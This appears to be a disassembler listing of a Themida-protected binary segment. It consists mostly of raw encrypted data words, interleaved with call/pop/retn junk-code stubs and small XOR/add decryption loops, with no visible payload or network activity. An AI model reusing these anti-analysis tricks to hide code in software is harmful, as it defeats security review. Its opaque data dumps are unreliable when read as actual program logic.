		dd 0E59D8B06h, 2B061010h, 51006AD2h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D99D8BA4h
		dd 0AD06102Eh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7795C356h, 1EBCBF73h, 0BD23131Dh, 61008B5h, 2A35BD8Bh
		dd 880D0610h, 0F000000h, 682h, 8D9D8900h, 8B061020h, 1009F595h
		dd 68E0F06h, 81000000h,	0DAA1B7CBh, 0DD953136h,	8B061027h
		dd 1023198Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B77480Fh, 1006099Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 180C356h, 101AF1B5h,	6E806h,	31920000h, 97D5B567h, 2EF19D29h
		dd 835B0610h, 101E29BDh, 840F0006h, 4Fh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 67C35646h, 0B8DFh
		dd 8DF90000h, 104E858Dh, 8BEBBB06h, 0E1FF7020h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BDC35242h, 83E7BECEh
		dd 1022C1BDh, 840F0006h, 468h, 0AD83F1BFh, 1D852965h, 8306100Ch
		dd 1022C1BDh, 840F0106h, 46Bh, 13E9h, 0D7450D00h, 9649183Ch
		dd 4D1CAEBFh, 0AC67E284h, 5E938D3Dh, 22C1BD83h,	0F030610h
		dd 41086h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 7FA2FDDEh, 0E231A7A5h, 9D8B4492h
		dd 61000E9h, 51958960h,	66061016h, 6AD98Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 3ADC53C3h
		dd 8A0F1D50h, 6, 619BD2Bh, 0E1800610h, 57006A04h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 6656AC99h, 0F91EDF81h, 0FC90A5Fh, 1A784h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8B6657B4h, 858B5FFEh, 6102185h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0A5C35141h,	0D88A02D8h, 11FD8533h
		dd 8EBB0610h, 662BBEBAh, 0BF90FE8Bh, 382CC713h,	3860F50h
		dd 66000000h, 6A90F88Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 8205C351h, 49BD8BC3h
		dd 6A06101Eh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 757DF527h, 0F925FBEAh, 0CE9A5h, 96650000h
		dd 0C8526FC3h, 2F45D513h, 4E8FFEFh, 0FF000000h,	60001F03h
		dd 6FB82EBAh, 8DBF6624h, 0E9506161h, 0Eh, 7151086Ah, 8FDDC84Ch
		dd 0B1F8BD0h, 448B635Fh, 8B660424h, 0E9008BF8h,	0Eh, 9DEB8C09h
		dd 0C2C7E587h, 6FB8D4E4h, 44896BB1h, 50570424h,	0F88B6652h
		dd 0DE8A310Fh, 585B585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 67C35747h, 2D099531h,	3CB70610h, 5D595FFh
		dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 4F974DC3h, 0B01D15F5h, 603FFD1Dh,	20E9BD8Bh
		dd 8D890610h, 61020CDh,	4ABF6661h, 6D8589CAh, 8A0613C2h
		dd 186E9FEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9529FCC3h, 6100065h, 0C265858Bh
		dd 8B660613h, 1800C7DEh, 8B000000h, 1006259Dh, 69B58B06h
		dd 6A0613C2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 9860C351h, 0BD1E565Fh,	0D78A12C9h
		dd 535CA4BFh, 25858B2Fh, 0E906100Eh, 7,	0E74C9644h, 893C8997h
		dd 0EFBF6606h, 85858BA1h, 6A061021h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F8EBC350h
		dd 7175EAA7h, 5D79DCA8h, 8819EF81h, 468972D2h, 0C59D2904h
		dd 9606102Dh, 0FAB0BF66h, 12E89650h, 7E000000h,	0D329BBEDh
		dd 90CBDC12h, 23D44D6Ch, 9F1B7DABh, 1C781E8h, 5F3C75E0h
		dd 0C265B5FFh, 9D8B0613h, 61023B1h, 7A4FB968h, 7E87Dh
		dd 100B0000h, 72FFA27Dh, 34815BCBh, 654C4624h, 8DD88B7Dh
		dd 13C26D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FC094975h, 23CD6A9Ch, 2890F32h
		dd 0B3000000h, 12E9E0h,	60A30000h, 0F62C2BE2h, 3A49245Fh
		dd 57A4CCBBh, 5B302DB7h, 0DA8B6650h, 8B240489h,	101CFD9Dh
		dd 0D595FF06h, 6A061005h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0A3C1C357h,	1C258D89h
		dd 0FB8B0610h, 85C7F961h, 61022C1h, 3, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0B9C35141h,	0DA18D01h, 0BD830610h
		dd 613C26Dh, 3A840F00h,	0F000000h, 683h, 0D2F78100h, 0E97C5DD6h
		dd 44h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 0C35141h, 209425FCh,	89F98B66h, 1031798Dh, 0C305006h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 84C35747h, 295026E4h
		dd 297440AAh, 6810FE6h,	8B000000h
		dd 1032A19Dh, 0F8BF0F06h, 22C1BD83h, 0F030610h,	55385h
		dd 27EF8100h, 83231C91h, 13C26DBDh, 840F0006h, 540h, 1EC5BD8Bh
		dd 0B5FF0610h, 613C26Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 4CC35343h, 942BCAB1h,	5DBF58DEh, 0FF6E19B3h
		dd 102FA595h, 0D5958906h, 8B061010h, 13C261B5h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8166FA47h, 0E8FBD5CBh, 12h, 597BC45Bh, 903A1CEDh, 0F3A00965h
		dd 929A9D24h, 890F576Ch, 5, 0A783CDBBh,	6C75B62h, 10001h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 36C35343h
		dd 1D5DE1A4h, 50075A08h, 80243489h, 0B5FFCCF3h,	613C26Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2FC35545h
		dd 11B9BD8Bh, 95FF0610h, 6101225h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 60C35747h, 58225509h, 0BD8B7896h
		dd 6102A8Dh, 0C261B58Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 47699FC3h, 21D1858Bh
		dd 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 1E0224C3h, 0C7BDE4B1h, 8589BEAAh,	610004Dh
		dd 0FB59501h, 86890610h, 0C4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 57C35545h, 58A0Fh, 0AFBF0000h
		dd 0F945F923h, 9F5958Bh, 6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0C185C4C3h, 0FAC9D53Fh
		dd 666B26C1h, 7A79CF81h, 2205BD8Bh, 0C2830610h,	56006A04h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 89BC0F90h, 8DF92050h, 13D7C285h, 9DBB6606h, 0B886892Fh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 207DC352h, 0CB816695h,	0BF0F42F5h
		dd 0CDBD0BF9h, 6A061032h, 860F5700h, 6,	860Fh, 665B0000h
		dd 0CE0EF381h, 0C26DB5FFh, 9D8B0613h, 6102E3Dh,	49595FFh
		dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 8C2FCCC3h, 0B9DF8166h, 0D8BF0F4Fh, 9D65BB50h
		dd 34894C44h, 799D8B24h, 0FF06100Eh, 13C26DB5h,	799D0906h
		dd 0FF061027h, 10162D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 6A82C2EDh
		dd 83D98B66h, 101351BDh, 840F0006h, 0A2h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 18h, 54C35343h, 96CC4D74h
		dd 13E896h, 3D370000h, 0A954C516h, 5908E257h, 0C7667C2Ch
		dd 0D9953ECDh, 0CE921h,	648B0000h, 8DA0A30Dh, 0A450AB58h
		dd 505F0B4Bh, 6A96FC8Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5E99C355h, 10E960h
		dd 3D260000h, 0A4411B4Fh, 0B556D4EAh, 0B6CE257Eh, 8153E952h
		dd 0D9D2DCF7h, 0E9615E7Dh, 12h,	0EF406B4Fh, 0A4077446h
		dd 0B56504A0h, 0FBF09A4Bh, 0B5FF72EBh, 613C26Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 39C35747h, 3DE5A535h
		dd 4E16544Ch, 9E9B2h, 0CDD20000h, 0A0E7CF1Bh, 0FFC3C1E1h
		dd 100C1995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 4F9C4F68h, 2471B9A0h, 3602CABh, 1006D98Dh
		dd 8DBD8906h, 6106100Ah, 58C0Fh, 81660000h, 0FF37F0E3h
		dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 9DCEDA30h, 2F8C8D0Ch, 12E8CCh, 0E4650000h
		dd 0C6A41DE1h, 0DDCB47D2h, 0C1F97900h, 2ADD052Bh, 11E8h
		dd 9B3B4600h, 50E9AC93h, 60C2AB12h, 0B54B3E0Bh,	6E946D1h
		dd 9000000h, 0FBA081C4h, 8B5F5B3Bh, 8E9DAh, 0CE360000h
		dd 7310E141h, 95FF67C6h, 6101621h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0D9C35343h,	0C20E5FC0h, 2840Fh
		dd 0CFB30000h, 8C0Fh, 0BD830000h, 6100F89h, 6B840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E2E1C351h, 14E9h, 6CCBF800h
		dd 7DC36CFEh, 95CE223h,	4A35BC09h, 0A7499BB9h, 0C5858B25h
		dd 81061010h, 71D1BE3h,	0C63Bh,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0A7C35747h,	5FDBB66h, 1E5D9D8Bh
		dd 85C70610h, 6102A25h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_59AA2F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59AA2F	proc near		; CODE XREF: Themida_:0059AA27p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59AA2F	endp

; ---------------------------------------------------------------------------
		db 20h
		dd 4D9DA96Ah, 22F99D89h, 0BD010610h, 6100DD5h, 0FFF231E9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0D7E63EACh, 0AE96027h, 79000000h, 0E01A88B4h
		dd 0B0F55082h, 6850FA5h, 89000000h, 1004F595h, 0BD336106h
		dd 6100DA9h, 8DF8C18Bh,	1013B985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 2FC380F5h
		dd 24048950h, 6A006AF5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 7892C356h, 0DDBD8BB2h
		dd 6A06102Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 6BAE54A4h, 2E38166h, 0F9BD894Bh
		dd 8D06101Fh, 14F8A685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 29857FC2h, 10201D85h
		dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0B6C35242h, 444926FFh, 0C1DEAF17h, 0F8B70FA2h
		dd 0FB8B6650h, 0F240489h, 68Dh,	0C5B50900h, 6A06100Dh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 6A5B5282h, 5BD8B00h, 0BB061017h,	33AB6305h
		dd 1D1995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 52B552C3h, 12E954A6h, 37000000h
		dd 36307222h, 1D3064Dh,	0C3F75E8Bh, 0C376969Eh,	0E860F8Fh
		dd 60000000h, 8D0Fh, 9D890000h,	6103001h, 8DFB8B61h, 13AFD88Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 68E0F02h, 89000000h, 100CA99Dh, 6AD1FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D400C351h, 9B31CF4h, 1004DD95h, 14E906h
		dd 0DCD80000h, 6441DB89h, 4050C793h, 7A94679Ah,	6D60143Fh
		dd 0BD8336CCh, 6102209h, 96850F01h, 0F000000h, 0D89h, 9D8B6000h
		dd 6102D51h, 450EBEh, 26A611Dh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 77C35646h, 451B93F8h, 0F2D45655h
		dd 90B0F380h, 0E9505B56h, 13h, 969EC3F7h, 0E68FC376h, 9F5B0E96h
		dd 0FEB13828h, 90728ADFh, 60D9B70Fh, 1395958Bh,	85890610h
		dd 61027BDh, 9595FF61h,	0BF061004h, 2DE8EE74h, 1B800Fh
		dd 0E8600000h, 0Dh, 0BEDA80BFh,	0DC1B9CDBh, 0BA7C4062h
		dd 0E6815FAEh, 7073F8F3h, 0E69E961h, 0E80000h, 5D000000h
		dd 0F8B0ED81h, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 891099C3h, 100EAD9Dh, 0DFBF0F06h
		dd 99B6858Dh, 0BD890613h, 6101645h, 5850F50h, 0BF000000h
		dd 4DD40F41h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 3C8FC357h, 0FF550410h
		dd 15819D2Bh, 0FF640610h, 35h, 820F6000h, 6, 1E758D89h
		dd 9D310610h, 6102865h,	85896061h, 61014A5h, 99BD2B53h
		dd 59061031h, 25896461h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_59ADC7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ADC7	proc near		; CODE XREF: Themida_:0059ADBFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_59ADC7	endp

; ---------------------------------------------------------------------------
		rcl	al, cl
		adc	al, 93h
		mov	bh, 0F9h
		jmp	loc_59ADEE
; ---------------------------------------------------------------------------
		dw 43D0h
		dd 69540510h, 8E9BE8BEh
; ---------------------------------------------------------------------------
		xor	al, 54h


loc_59ADEE:				; CODE XREF: Themida_:0059ADDDj
		inc	dword ptr [ebp+6101419h]
		push	0
		push	esi
		call	sub_59ADFF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ADFF	proc near		; CODE XREF: Themida_:0059ADF7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59ADFF	endp

; ---------------------------------------------------------------------------
		db 0E6h
		dd 294AB054h, 10286D95h, 0E8FF6A06h, 13h ; CODE	XREF: Themida_:loc_59BB1Bj
dword_59AE20	dd 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h,	892F03A4h
					; DATA XREF: Themida_:0054C348o
		dd 1020E995h, 0B5FF5F06h, 6101B25h, 0EDDBD89h, 95FF0610h
		dd 6100615h, 12AE9h, 58A0F00h, 66000000h, 440DCB81h, 5300B0F8h
		dd 0ADF38053h, 70E65F5Fh, 27A99D8Bh, 0F600610h,	61F5C7B7h
		dd 0BB5371E4h, 613BED59h, 0F613C5Bh, 0F683h, 45958900h
		dd 0F061000h, 9D89C8B6h, 61006F5h, 6BAh, 51B50100h, 60061021h
		dd 61F5D88Bh, 9D89C18Bh, 6101149h, 6604E8C1h, 8B24C6BFh
		dd 100A15BDh, 0E2F76606h, 0D3DBD8Bh, 0C82B0610h, 79BD2352h
		dd 5B06101Ah, 9D8BD18Bh, 61030ADh, 0A2E9h, 8BFE8B00h, 4C4C4485h
		dd 5E85Fh, 83520000h, 0E82EB6F2h, 0Fh, 0C1CAA718h, 0E3548796h
		dd 3A9D84F6h, 0F6D96B7h, 81h, 835F5B00h, 13E807C0h, 0A0000000h
		dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 0BD8BBEC1h
		dd 61029D9h, 0C0835Fh, 5899D09h, 3BF80610h, 11830FD0h
		dd 81000000h, 184853C7h, 35E905h, 9D8B0000h, 61015B1h
		dd 0FFFF8D8Bh, 9D8BFFFFh, 6100F99h, 0F01E183h, 1A84h, 83FE8B00h
		dd 0FFFFFFA5h, 9589FEFFh, 5F4C4C44h, 15A99D8Bh,	0E90610h
		dd 8D000000h, 146F4EB5h, 0C7806006h, 0C28166D7h, 6A61CFB3h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3EFD426Ch, 0A5D6CF81h, 95FF4938h, 61031C9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h
		dd 1F959D8Bh, 7EB90610h, 3100000Fh, 1009C9BDh, 0FCE18306h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h
		dd 507F278Ah, 1FC6328h,	1010C98Dh, 0B8F506h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 795EC351h, 3AE6EBBFh, 0F3355722h,	2BF8B70Fh
		dd 858B60D2h, 6100A39h,	11E861h, 0BFA90000h, 0F6EABE5Bh
		dd 0D60FCAFDh, 2CB43DDDh, 6695E3C9h, 0CCD7F381h, 0C233AD5Fh
		dd 0D003E8D1h, 7504E983h, 2F781F4h, 6A5D680Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 1F8EC350h, 2F24B5D4h, 0DBF9014h, 88h, 12E8h,	0ECA9BB00h
		dd 6A3ADEA6h, 323F68DBh, 55524A64h, 8BF0FC3Dh, 101175BDh
		dd 958B5B06h, 61009F5h,	23198D8Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29FA61C3h
		dd 0BE44D7Ch, 1020ADBDh, 92E78106h, 50238C15h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 25BD8B58h,	66061006h
		dd 97D5C781h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0AAC35242h, 83C25946h, 101E29BDh, 840F0006h, 5Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4CC35141h
		dd 0B8FFB70Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59B16F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B16F	proc near		; CODE XREF: Themida_:0059B167p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_59B16F	endp

; ---------------------------------------------------------------------------
		or	ch, cl
		leave
		or	edi, [ebp+6102179h]
		lea	ecx, [ebp+6104E85h]
		or	[ebp+6101D69h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6101BADh]
		cmp	dword ptr [ebp+61022C1h], 0
		jz	loc_59B631
		push	0
		push	edx
		call	sub_59B1B4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B1B4	proc near		; CODE XREF: Themida_:0059B1ACp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_59B1B4	endp

; ---------------------------------------------------------------------------
		dd 8B665238h, 0C1BD83D9h, 1061022h, 476840Fh, 850F0000h
		dd 6, 805B589h,	0BD8B0610h, 6103011h, 22C1BD83h, 0F030610h
		dd 42186h, 6A60F800h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 9330C352h, 0F774F613h,	0BF0F5C89h
		dd 0D98C66DBh, 807DDB80h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 3E1EF9C3h, 0C6FE86E0h
		dd 0C90ADEB3h, 0E2840Fh, 81660000h, 8BEE04D3h, 10218585h
		dd 0A59D2306h, 33061000h, 1011FD85h, 0D5B58906h, 9006102Ah
		dd 8E9h, 0BC7BF900h, 6C09598Fh,	52505034h, 0B9E1B260h
		dd 561BE54Eh, 60310F61h, 7DB05A56h, 90585A61h, 2DDD8501h
		dd 6A0610h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	87C35747h, 0A7FF3D96h, 0FE33C1BBh, 9D8D891Bh, 0E806100Ah
		dd 4, 1F03FFh, 7947BB66h, 24448B50h, 0FB8B5304h, 89008B5Bh
		dd 0BB042444h, 51BA6488h, 0C810F58h, 0F000000h,	684h, 0CDB58900h
		dd 8B061004h, 0D595FFD9h, 0BB061005h, 7EF80F81h, 0C26D8589h
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E9EE50C3h, 27Ch,	577BB66h, 0C265858Bh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B0CB9C3h, 1008D5BDh, 1800C706h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8BAAC350h, 1010959Dh, 0D7816606h, 0B58BC9A6h, 613C269h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3CC35141h
		dd 276B84F4h, 14BB2276h, 0C98D899Ch, 0BB061010h, 215F63h
		dd 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0CE4165C3h, 7624D5Ah, 6892372h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h
		dd 0B529EDFEh, 610105Dh, 2185858Bh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1FEAF1C3h
		dd 4BFB9090h, 0FBB70FB0h, 6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3E3C350h
		dd 960701Ch, 101AA9BDh,	118D3106h, 6106101Ch, 8B525050h
		dd 51310FFBh, 0BE9h, 54304000h,	4E82FE2Ah, 79A5F166h, 89585A5Bh
		dd 0BD8B2434h, 6102ABDh, 0C265B5FFh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2C7495C3h
		dd 68668B89h, 0EDAA86ADh, 50525060h, 5A310F52h,	0BB310F58h
		dd 3DF38B2Dh, 0DE9585Ah, 0AA000000h, 438E7049h,	0B17624F6h
		dd 0DE62DACCh, 24048161h, 12747D52h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 2DC35545h, 8DD95650h, 13C26D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BFDCC82h, 103091BDh, 0E9609006h, 6, 0B1A017DFh
		dd 0F600AF6h, 82h, 0CB8B6600h, 50506161h, 905FDF8Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 8BA829EEh
		dd 1021E59Dh, 0D595FF06h, 6A061005h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9AD7C356h
		dd 1913ECE4h, 3F1BDD7Ch, 19319D8Bh, 95890610h, 61019E9h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0A72330C5h, 29CCAEAFh, 0C185C7CEh, 3061022h
		dd 60000000h, 0EE8h, 0A058600h,	4788D771h, 1D9ED841h, 0F940C24Bh
		dd 0CFE7805Ah, 6DBD8361h, 613C2h, 14840Fh, 0FB8B0000h
		dd 28E9h, 0BE666000h, 0F60F47Dh, 6161C8BFh, 305083B7h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h
		db 36h
; ---------------------------------------------------------------------------


loc_59B631:				; CODE XREF: Themida_:0059B1A3j
					; Themida_:0059B648j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_59B631
		jmp	short loc_59B667
; ---------------------------------------------------------------------------


loc_59B64C:				; CODE XREF: Themida_:0059B663j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59B64C
		jmp	short $+2


loc_59B667:				; CODE XREF: Themida_:0059B64Aj
		mov	eax, eax
		push	0
		push	ebp
		call	sub_59B674
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B674	proc near		; CODE XREF: Themida_:0059B66Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_59B674	endp

; ---------------------------------------------------------------------------
		retf	90C5h
; ---------------------------------------------------------------------------
		mov	byte ptr [ecx],	8Dh
		push	ecx
		sub	eax, 9D8B0610h
		mov	ch, 0Dh
		adc	[esi], al
		cmp	dword ptr [ebp+61022C1h], 3
		jnz	loc_59BB1B
		push	0
		push	esi
		call	sub_59B6AC
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B6AC	proc near		; CODE XREF: Themida_:0059B6A4p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59B6AC	endp

; ---------------------------------------------------------------------------
		dd 0D64FA22Dh, 0C26DBD83h, 0F000613h, 44E84h, 0D98B6600h
		dd 0C26DB5FFh, 6A0613h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8B7FF5C3h, 100A319Dh, 8CAEBF06h
		dd 95FF4911h, 6102FA5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 81C35646h, 654F0725h,	0AAEB806Eh, 0C261B58Bh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0DEDD11C3h, 0FE8B66A7h, 1EDDBD8Bh, 6C70610h
		dd 10001h, 68C0Fh, 9D290000h, 6101699h,	8F0F5150h, 2, 895B66B3h
		dd 0B5312434h, 6101EC5h, 0C26DB5FFh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 659A4EC3h
		dd 0D19AD28Bh, 122595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 982D6FC3h, 1C1DBD8Bh
		dd 0B58B0610h, 613C261h, 1925BD8Bh, 858B0610h, 61021D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A7C35545h
		dd 7F470679h, 0C48689B0h, 6A000000h, 3E85200h, 20000000h
